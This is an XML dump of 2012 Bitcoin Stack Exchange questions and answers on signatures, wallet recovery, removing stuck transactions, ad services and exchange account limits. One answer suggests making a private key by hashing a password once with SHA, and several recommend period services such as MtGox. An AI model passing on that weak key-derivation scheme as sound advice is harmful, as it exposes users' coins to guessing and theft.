  <row Id="2413" PostTypeId="2" ParentId="2401" CreationDate="2012-01-04T03:06:20.083" Score="3" Body="&lt;p&gt;Here's a short explanation that might help you understand it. It's grossly oversimplified but just designed to help you get the general idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine a world in which multiplication and addition were irreversible. That is, division and subtraction do not exist. It is not too difficult mathematically to create a world where division and subtraction are trillions of times more difficult than multiplication and addition, so for practical purposes, division and subtraction are impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, let's say we all agreed on a very large number. Call it G. It's some big number we all agree on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, you can pick a random number and store this someplace very safe. Call it your &quot;private key&quot;, S (for secret). Now, multiply it by G. Call the result your &quot;public key&quot;, P. You can tell anyone your public key. Since they can't divide it by G, your private key will stay private.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, say you want to &quot;sign&quot; something, O. What you do is you take that something, add your secret key to it, and publish the resulting number. So you publish: &lt;code&gt;O+S&lt;/code&gt;, that's your signature&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, nobody can tell your private key from that number. They'd have to subtract, and that's not practical. And nobody else can produce that number, they'd have to know your private key to know what to add to O.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So all we need is for someone to be able to prove that's the &quot;right&quot; number and we're there -- and they can do that. Why? Because &lt;code&gt;G * (O+S) = G * O + G * S&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They know what you claim is &lt;code&gt;O+S&lt;/code&gt; ... the signature. &lt;code&gt;G*S&lt;/code&gt; is your public key. And they know &lt;code&gt;O&lt;/code&gt;. So with just some addition and multiplication, they can compute both &lt;code&gt;G * (O+S)&lt;/code&gt; and &lt;code&gt;G*O + G*S&lt;/code&gt;. So they can check if the number you published really is &lt;code&gt;O+S&lt;/code&gt; if those two are equal, thus that the person who computed it knew your private key, and thus it functions as a signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The challenge, of course, is to create systems in which multiplication and addition are possible but subtraction and division are not. And there the math gets complicated. Bitcoin uses a &lt;a href=&quot;http://en.wikipedia.org/wiki/Elliptic_curve_cryptography&quot; rel=&quot;nofollow&quot;&gt;system where division requires discrete logarithms&lt;/a&gt; and a change to the algorithm so that it doesn't matter if addition is reversible.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2012-01-04T04:41:20.943" LastActivityDate="2012-01-04T04:41:20.943" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2414" PostTypeId="1" CreationDate="2012-01-04T03:48:42.400" Score="2" ViewCount="164" Body="&lt;p&gt;It might seem that virgin coins will have higher value than older coins that have lot of exchange transactions that might make it more traceable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some prevision in the protocol for this effect?&lt;/p&gt;&#xA;" OwnerUserId="863" LastEditorUserId="105" LastEditDate="2012-01-04T12:47:58.467" LastActivityDate="2012-01-04T22:52:33.283" Title="Will BTC value depend on their history?" Tags="|transactions|traceability|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2415" PostTypeId="2" ParentId="570" CreationDate="2012-01-04T04:38:48.297" Score="5" Body="&lt;p&gt;I have successfully used the methodology described &lt;a href=&quot;https://bitcointalk.org/index.php?topic=19207.0&quot;&gt;here&lt;/a&gt; to delete a transaction which didn't go anywhere because of a too low fee. In short, the process is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Configure Linux machine with db4.8-util and &lt;a href=&quot;https://github.com/gavinandresen/bitcointools&quot;&gt;bitcointools&lt;/a&gt;. Ubuntu works fine.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run following command on your data folder:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./dbdump.py --datadir ~/.bitcoin --wallet-tx &amp;gt; tx.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open tx.txt using text editor. Find transaction in question. Should look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;==WalletTransaction== 12a75d48a002ab920 ...&#xA;block: 00000000000000000000000000000000 ...&#xA;2 tx in, 1 out&#xA;TxIn: value: 0.007640 prev(c09e92cb94ff1fb6d4 ...&#xA;TxIn: value: 0.000050 prev(7dcda75e6ad8b5adc7 ...&#xA;TxOut: value: 0.007690 pubkey:  Script: DUP HA...&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Reverse the &lt;code&gt;12a75d48a002ab920...&lt;/code&gt; value, get something like &lt;code&gt;92ab02a0485da712&lt;/code&gt;. Don't need to reverse the whole line, just a few hex values from beginning. You will need to search for this in the database dump.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Dump the database using following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;db4.8_dump ~/.bitcoin/wallet.dat &amp;gt; dumpfile&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using text editor open the dumpfile and search for that &lt;code&gt;92ab02a0485da712&lt;/code&gt; line you found earlier. There will be two lines - key and value, you need to delete both. Save the file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Re-import the database using the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;db4.8_load ~/.bitcoin/wallet2.dat &amp;lt; dumpfile&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If all went fine, the wallet2.dat will have a database without transaction in question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of this, of course, only works if transaction was never accepted by the network, which is likely the case if you already waited a day, and nothing happens. There is no way to undo transaction which was already accepted by the network. I tried this technology twice and both times worked fine.&lt;/p&gt;&#xA;" OwnerUserId="30" LastActivityDate="2012-01-04T04:38:48.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2416" PostTypeId="2" ParentId="2414" CreationDate="2012-01-04T04:39:29.673" Score="6" Body="&lt;p&gt;There is none, and I don't think it will ever be significant. There is a gentleman's agreement that's part of what makes Bitcoin work that a Bitcoin is a Bitcoin is a Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can have a few &quot;rare Bitcoins&quot; with extra value. I might pay extra to have one Bitcoin transferred to me directly from the coins in the genesis block, for example. But just like there can be a few rare dollar bills, a dollar only works as a medium of exchange if more or less, we all agree that a dollar is a dollar. A prime serial number is cool, but your grocery store can't care about that if it wants to do business.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-01-04T04:39:29.673" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2417" PostTypeId="2" ParentId="2401" CreationDate="2012-01-04T05:44:22.837" Score="3" Body="&lt;p&gt;Wikipedia is a wonderful source for this. First, note that there is no &lt;a href=&quot;http://en.wikipedia.org/wiki/Encryption&quot; rel=&quot;nofollow&quot;&gt;encryption&lt;/a&gt; in the Bitcoin protocol - there are techniques from the more general field of &lt;a href=&quot;http://en.wikipedia.org/wiki/Cryptography&quot; rel=&quot;nofollow&quot;&gt;cryptography&lt;/a&gt;, such as &lt;a href=&quot;http://en.wikipedia.org/wiki/Digital_signature&quot; rel=&quot;nofollow&quot;&gt;digital signatures&lt;/a&gt; and &lt;a href=&quot;http://en.wikipedia.org/wiki/Hash_function&quot; rel=&quot;nofollow&quot;&gt;hashing&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Digital signatures are an example of &lt;a href=&quot;http://en.wikipedia.org/wiki/Public-key_cryptography&quot; rel=&quot;nofollow&quot;&gt;public-key cryptography&lt;/a&gt;, which can be used not only for digital signatures but for a type of encryption which is different from traditional &lt;a href=&quot;http://en.wikipedia.org/wiki/Symmetric_encryption&quot; rel=&quot;nofollow&quot;&gt;symmetric encryption&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, Bitcoin uses &lt;a href=&quot;http://en.wikipedia.org/wiki/Elliptic_Curve_DSA&quot; rel=&quot;nofollow&quot;&gt;Elliptic Curve DSA&lt;/a&gt; for digital signatures and &lt;a href=&quot;http://en.wikipedia.org/wiki/SHA-2&quot; rel=&quot;nofollow&quot;&gt;SHA-2&lt;/a&gt; for hashing - &lt;a href=&quot;http://blog.ezyang.com/2011/06/the-cryptography-of-bitcoin/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; is a nice review of how they are used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also want to read up on &lt;a href=&quot;http://en.wikipedia.org/wiki/RSA_%28algorithm%29&quot; rel=&quot;nofollow&quot;&gt;RSA&lt;/a&gt; which is a very well-known public-key cryptosystem, though not used in Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-01-04T05:44:22.837" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2418" PostTypeId="2" ParentId="2410" CreationDate="2012-01-04T07:45:41.830" Score="5" Body="&lt;p&gt;One factor is that people's enthusiasm for Bitcoin drives them to step well outside their comfort zones and do projects they wouldn't otherwise. Bitcoin is a new startup economy and the plethora of opportunities is tempting. But the lack of experience or skill can lead them to mistakes which bring about the end of the project. Bitomat.pl is a great example - the owner tried to make use of AWS without having a clear idea how they work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another factor - especially with business ventures - is overestimation of the Bitcoin market size. The market is very small, and I have the feeling that people's general excitement about Bitcoin isn't matched by their willingness to actually use it. If it's a niche service the target market is the intersection of people in this niche with people who are using Bitcoin, which is tiny, and for more mainstream services, those that are founded just to offer the service in Bitcoin are often inferior to established mainstream offerings (see above point). It comes down to the revenue not justifying the overhead costs, so the project is abandoned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creating a successful alt currency is an immense undertaking, and so far has mostly been tried by people who seem to think that changing a few parameters is all it takes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have any specific suggestions how to avoid this, other than trying to be realistic about the viability of the project and the personal ability to carry it through. This shouldn't, of course, come at the expense of being a bit bold and daring.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2012-01-05T15:07:42.540" LastActivityDate="2012-01-05T15:07:42.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2420" PostTypeId="1" AcceptedAnswerId="2525" CreationDate="2012-01-04T12:31:28.493" Score="6" ViewCount="348" Body="&lt;p&gt;The FAQ very vaguely says &quot;Wait at least 12 blocks&quot;, but it doesn't make much sense to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless I have totally misunderstood how this works, once the &lt;code&gt;name_new&lt;/code&gt;d domain is in the chain, I should safely be able to proceed to the next step... so how can I know &lt;em&gt;exactly&lt;/em&gt; if it is ready? Or am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2012-01-11T01:39:24.063" Title="How can I know *exactly* when my name_new domain is ready for the name_firstupdate step?" Tags="|namecoin|domain-registering|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2421" PostTypeId="2" ParentId="2410" CreationDate="2012-01-04T13:07:44.050" Score="2" Body="&lt;p&gt;You have already received good answers about businesses, I'd like to add something about alternate currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin alternate currencies are usually born because some kind of kid was upset he didn't join Bitcoin early enough, and wanted to be able to &quot;play with it&quot; with the instruments he had at home.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So abominations like &quot;GPU-resistant / CPU-friendly&quot; currencies were born. Think about it: they are completely and utterly &lt;em&gt;wrong&lt;/em&gt;, i.e. they chose a specifically bad algorithm when there was a better one, just because they didn't want to be outclassed by people with better hardware. They didn't care at all about the health of the currency itself, they just wanted to be able to mine successfully themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And that's why they obviously failed.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2012-01-04T13:07:44.050" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2422" PostTypeId="1" AcceptedAnswerId="2879" CreationDate="2012-01-04T15:26:05.643" Score="7" ViewCount="1900" Body="&lt;p&gt;Looking at this chart:&#xA;&lt;a href=&quot;http://blockchain.info/charts/estimated-transaction-volume&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/charts/estimated-transaction-volume&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's clear that the amount of bitcoins moved between November 14th and December 12th of 2011 was much larger than any previous month, even compared to the big boom in September.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The number of transactions is about the same as previous months. This implies a few big transactions or generally large transactions. What is the reason for this?&lt;/p&gt;&#xA;" OwnerUserId="524" LastEditorUserId="524" LastEditDate="2012-01-09T15:44:14.290" LastActivityDate="2012-04-03T05:11:17.537" Title="Why did Bitcoin transaction volume heavily increase in November and December of 2011?" Tags="|bitcoin-economy|economic-theory|" AnswerCount="4" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2423" PostTypeId="2" ParentId="2422" CreationDate="2012-01-04T22:02:32.820" Score="2" Body="&lt;p&gt;Let's say I have just one address in my wallet with 1,000 BTC on it.  I then send to you five separate transactions, each in the amount of 1 BTC.  The blockchain will then show 4,990 BTC of transfers yet only 5 BTC was truly transferred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, if I were to begin using the encryption feature in the latest Bitcoin.org client, my coins will get moved to new addresses -- thus possibly contributing to the volume spike you saw.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-04-03T05:11:17.537" LastActivityDate="2012-04-03T05:11:17.537" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2424" PostTypeId="2" ParentId="2414" CreationDate="2012-01-04T22:52:33.283" Score="0" Body="&lt;p&gt;Value is subjective - a bitcoin is worth whatever somebody will pay for it. But some might see extra value in, say, bitcoins that have been through some form of convoluted laundry process to hide their origin.&lt;/p&gt;&#xA;" OwnerUserId="409" LastActivityDate="2012-01-04T22:52:33.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2425" PostTypeId="1" CreationDate="2012-01-05T00:00:32.243" Score="7" ViewCount="7410" Body="&lt;p&gt;I understand there are a couple things that need to be checked for a transaction to be valid - the previous transaction had to be correct, no OP can invalidate the transaction, etc, but is there a complete list on what one needs to check in order to know if a transaction is valid?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, does the transaction need to have a specific structure in order to be spent, like the script from TxIn needs to compile to the encoded message, and the TxOut script needs to properly run OP_Checksig on that particular message? If not, one could simply drop the message from TxIn, push their own malicious message and run OP_Checksig on that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What steps does the protocol require a client to go through to check if the transaction is valid?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2018-03-26T16:04:55.023" Title="How to know if a transaction is valid?" Tags="|transactions|client|development|protocol|script|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2427" PostTypeId="2" ParentId="241" CreationDate="2012-01-05T01:28:19.973" Score="2" Body="&lt;p&gt;Consider checking out the Bitcoin Review for user testimonies, reviews, etc. The category for Escrow services can be found here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://thebitcoinreview.com/sites.php?catid=9&amp;amp;subcatid=76&quot; rel=&quot;nofollow&quot;&gt;http://thebitcoinreview.com/sites.php?catid=9&amp;amp;subcatid=76&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-05T01:28:19.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2428" PostTypeId="1" AcceptedAnswerId="3558" CreationDate="2012-01-05T01:35:57.777" Score="11" ViewCount="2677" Body="&lt;p&gt;Say one owns a Bitcoin-specific website and they want to get some ad revenue for Bitcoin-related ads. Are there any websites that host such ads and provide the necessary code for displaying and monetizing them, just like AdSense would, or does one have to contact individual Bitcoin websites and strike deals with them?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2015-06-23T13:01:17.567" Title="Are there any services hosting Bitcoin-related ads for websites?" Tags="|websites|" AnswerCount="8" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2429" PostTypeId="1" CreationDate="2012-01-05T03:07:21.940" Score="2" ViewCount="872" Body="&lt;p&gt;A friend just asked me &quot;where are the 11 BTC I bought from you half a year ago? ... I don't remember where I put them.&quot; He formatted his computer a few months ago, and the money is probably lost (all of your BTCs just got 5.2E-7 more valuable).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to recommend an easy to use wallet with the following requirements:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You only have to remember a password/passphrase to access all your BTC. Bonus: transaction history as well.&lt;/li&gt;&#xA;&lt;li&gt;It's super secure. I mean, I'd like 2-factor authentication, and keys should not be stored on the server (maybe only half a key). Let's assume the client computer is Trojan infected as well.&lt;/li&gt;&#xA;&lt;li&gt;No ID/bloodwork/whatever is needed to use it (I don't know what Mt. Gox requires of &quot;verified&quot; users nowadays).&lt;/li&gt;&#xA;&lt;li&gt;It is developed by a relatively trusted company/people. Trust is subjective, but still you can provide concrete evidence of why company X is &quot;more trusted by the community&quot; than company Y. &lt;/li&gt;&#xA;&lt;li&gt;I'd prefer a no-install browser based wallet, but not if it conflicts with any of the above requirements. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Are there wallets that comply with most/all of these requirements?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-01-05T13:50:33.913" Title="What are the most secure-yet-convenient ways of creating a wallet, that require just remembering a password?" Tags="|wallet|e-wallet|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2430" PostTypeId="2" ParentId="2429" CreationDate="2012-01-05T03:52:40.007" Score="0" Body="&lt;p&gt;MtGox can hold your Bitcoins if you want. I got a free Yubikey for being an oldie and it is really secure.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2012-01-05T03:52:40.007" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2431" PostTypeId="2" ParentId="2428" CreationDate="2012-01-05T03:54:55.797" Score="4" Body="&lt;p&gt;&lt;a href=&quot;http://www.operationfabulous.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.operationfabulous.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think kiba and noagendamaerket were working in it. It is an ad service so you can promote yourself with Bitcoins or get Bitcoins if you have a site with traffic.&lt;/p&gt;&#xA;" OwnerUserId="872" LastEditorUserId="872" LastEditDate="2012-01-05T14:16:13.437" LastActivityDate="2012-01-05T14:16:13.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2432" PostTypeId="2" ParentId="2425" CreationDate="2012-01-05T03:57:58.387" Score="-1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I understand there are a couple things that need to be checked for a transaction to be valid - the previous transaction had to be correct, no OP can invalidate the transaction, etc, but is there a complete list on what one needs to check in order to know if a transaction is valid?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You check the chain, if it goes all the way back to a generation, it is valid. You must wait for a confirmation to get it set in stone.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What steps does the protocol require a client to go through to check if the transaction is valid?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/tree/master/src&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/tree/master/src&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2012-01-05T03:57:58.387" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2433" PostTypeId="2" ParentId="2386" CreationDate="2012-01-05T08:30:45.557" Score="0" Body="&lt;p&gt;Users may &lt;em&gt;choose&lt;/em&gt; (perhaps unintentionally) to add identifying information, typically through re-using addresses. If you use a different address for each transaction, you are more anonymous than if you use the same address (thus creating a link between all your transactions, so any information leak associated with any one of them might serve to de-anonymize them all).&lt;/p&gt;&#xA;" OwnerUserId="409" LastActivityDate="2012-01-05T08:30:45.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2434" PostTypeId="2" ParentId="2386" CreationDate="2012-01-05T10:22:05.983" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;In order to send someone some coins, you need to know their public address.&lt;/li&gt;&#xA;&lt;li&gt;In order for them to redeem their coins, they have to show everyone that they possess the private address associated with that public address.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You could try encrypting your public key by some means and later decrypt it when you want to spend the coins, but you'd probably have to provide something that could identify you similarly to using a public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could alternatively encode only transaction hashes in the block, rather than actual transactions and only send the actual transaction to the peer you are sending the coins to. This approach though creates a lot of new problems with validation and so forth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, Bitcoin protocol doesn't have much excess data. In fact, by today's standards one may say it is trying to be too slick at times (say by using something like VarInt).&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-05T10:22:05.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2435" PostTypeId="2" ParentId="2429" CreationDate="2012-01-05T10:59:51.560" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;Take a password.&lt;/li&gt;&#xA;&lt;li&gt;Hash it with SHA.&lt;/li&gt;&#xA;&lt;li&gt;Use the hash as a private address.&lt;/li&gt;&#xA;&lt;li&gt;Generate your public address from that private address.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Guess this would be the easiest algorithm for having a deterministic wallet. One could easily make a web service or a program to generate those addresses, but people generally don't trust third party services like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;&lt;a href=&quot;https://strongcoin.com&quot; rel=&quot;nofollow&quot;&gt;StrongCoin&lt;/a&gt; allows one to generate a private key from any sentence, and given that they encrypt the private key before your browser sends it out, one can trust them not to know it. Then, you can decrypt the private key (as far as I know, also on your machine), and import it wherever one needs (provided you don't want to keep your coins online). It is a small workaround, but seems to fulfil your friends' needs.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-01-05T12:37:09.987" LastActivityDate="2012-01-05T12:37:09.987" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2436" PostTypeId="2" ParentId="2428" CreationDate="2012-01-05T12:31:55.207" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://anonymousads.com&quot; rel=&quot;nofollow&quot;&gt;anonymousads.com&lt;/a&gt; offers ads that aren't pay-per-click or pay-per-impression; they're a fixed monthly fee determined, essentially, by auction. They accept bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.operationfabulous.com&quot; rel=&quot;nofollow&quot;&gt;operationfabulous.com&lt;/a&gt; is pretty much the same.&lt;/p&gt;&#xA;" OwnerUserId="874" LastEditorUserId="2306" LastEditDate="2013-02-06T16:25:06.663" LastActivityDate="2013-02-06T16:25:06.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2437" PostTypeId="2" ParentId="2429" CreationDate="2012-01-05T12:32:33.597" Score="1" Body="&lt;p&gt;I think &lt;a href=&quot;https://blockchain.info/wallet&quot; rel=&quot;nofollow&quot;&gt;My wallet&lt;/a&gt; meets most of these requirements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Sign up only requires a password&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) You can opt to have the keys saved on the server in encrypted format in which case all your friend needs to do is remember a password. Two factor authentication is supported using yubikey or email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Or you can follow the &lt;a href=&quot;https://blockchain.info/wallet/paper-tutorial&quot; rel=&quot;nofollow&quot;&gt;paper wallet tutorial&lt;/a&gt; in which case no keys will be stored on the server, but your friend will additionally need to keep the paper wallet part safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) &lt;a href=&quot;https://blockchain.info/about&quot; rel=&quot;nofollow&quot;&gt;Registered UK Company&lt;/a&gt;, my name is Ben Reeves i've been around for a fair while on the &lt;a href=&quot;https://bitcointalk.org/index.php?action=profile;u=17928&quot; rel=&quot;nofollow&quot;&gt;bitcoin forums&lt;/a&gt; as piuk. Both the server side and client side code is &lt;a href=&quot;https://github.com/zootreeves/blockchain.info&quot; rel=&quot;nofollow&quot;&gt;open source&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) Browser based, works on mobile devices including iPhone, iPad and android.&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastActivityDate="2012-01-05T12:32:33.597" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2438" PostTypeId="2" ParentId="2422" CreationDate="2012-01-05T12:36:27.850" Score="0" Body="&lt;p&gt;One reason could be that Mt.Gox cut their commissions in half from Dec 25th to Dec 31st.&lt;/p&gt;&#xA;" OwnerUserId="874" LastActivityDate="2012-01-05T12:36:27.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2439" PostTypeId="2" ParentId="2429" CreationDate="2012-01-05T13:50:33.913" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=56677.msg675201#msg675201&quot; rel=&quot;nofollow&quot;&gt;A post on the forum&lt;/a&gt; suggested that &lt;a href=&quot;http://ecdsa.org/electrum/&quot; rel=&quot;nofollow&quot;&gt;Electrum&lt;/a&gt;, with its &lt;a href=&quot;http://ecdsa.org/electrum/seed.html&quot; rel=&quot;nofollow&quot;&gt;mnemonic seed&lt;/a&gt;, is also a good candidate.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-01-05T13:50:33.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2440" PostTypeId="2" ParentId="2422" CreationDate="2012-01-05T14:34:02.920" Score="5" Body="&lt;p&gt;Could it be Christmas shopping? People who have thick bitcoin wallets, needing dollars to buy Christmas presents? Many online retailers make half their money by selling Christmas presents.&lt;/p&gt;&#xA;" OwnerUserId="6" LastEditorUserId="6" LastEditDate="2012-04-01T08:54:12.507" LastActivityDate="2012-04-01T08:54:12.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2441" PostTypeId="1" AcceptedAnswerId="2453" CreationDate="2012-01-05T16:28:46.010" Score="3" ViewCount="177" Body="&lt;p&gt;Are there any online wallet services that offer services for alternative cryptocoins, such as Namecoins, Litecoins, etc?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-07T02:05:51.567" Title="Alternative currencies eWallets" Tags="|alternatives|services|e-wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2442" PostTypeId="1" AcceptedAnswerId="2443" CreationDate="2012-01-06T01:23:22.760" Score="12" ViewCount="4797" Body="&lt;p&gt;What is the difference between a &quot;trusted&quot;, &quot;verified&quot; and other accounts at MtGox? In order to get &quot;verified&quot;, one needs to provide them with photo ID and utility bill, but how does one get &quot;trusted&quot;?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-08-20T06:13:07.920" Title="MtGox - trusted vs verified" Tags="|mtgox|trust|verification|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2443" PostTypeId="2" ParentId="2442" CreationDate="2012-01-06T04:24:00.147" Score="10" Body="&lt;p&gt;At the time of this writing, &quot;Verified&quot; Accounts are eligible for monthly/daily withdrawal limits up to 10 times the default daily amount and 5 times the default monthly amount, while &quot;Trusted&quot; Accounts are eligible for monthly/daily withdrawal limits up to 100 times the default daily amount and 50 times the default monthly amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For verified status it is enough to send by email a scan of the ID and bill, and they only need to be translated if they don't include an English name. For trusted status, physical copies of the documents must be sent by mail, they must be certified by an apostille, and if they are not completely in English they must have a notarized translation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The withdrawal limits for normal / verified / trusted accounts are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Daily BTC: 400 / 4,000 / 40,000&#xA;Monthly BTC: No limit&#xA;Daily USD: 1,000 / 10,000 / 100,000&#xA;Monthly USD: 10,000 / 50,000 / 500,000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also choose to lower your limit if you want.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2012-06-17T10:03:06.440" LastActivityDate="2012-06-17T10:03:06.440" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
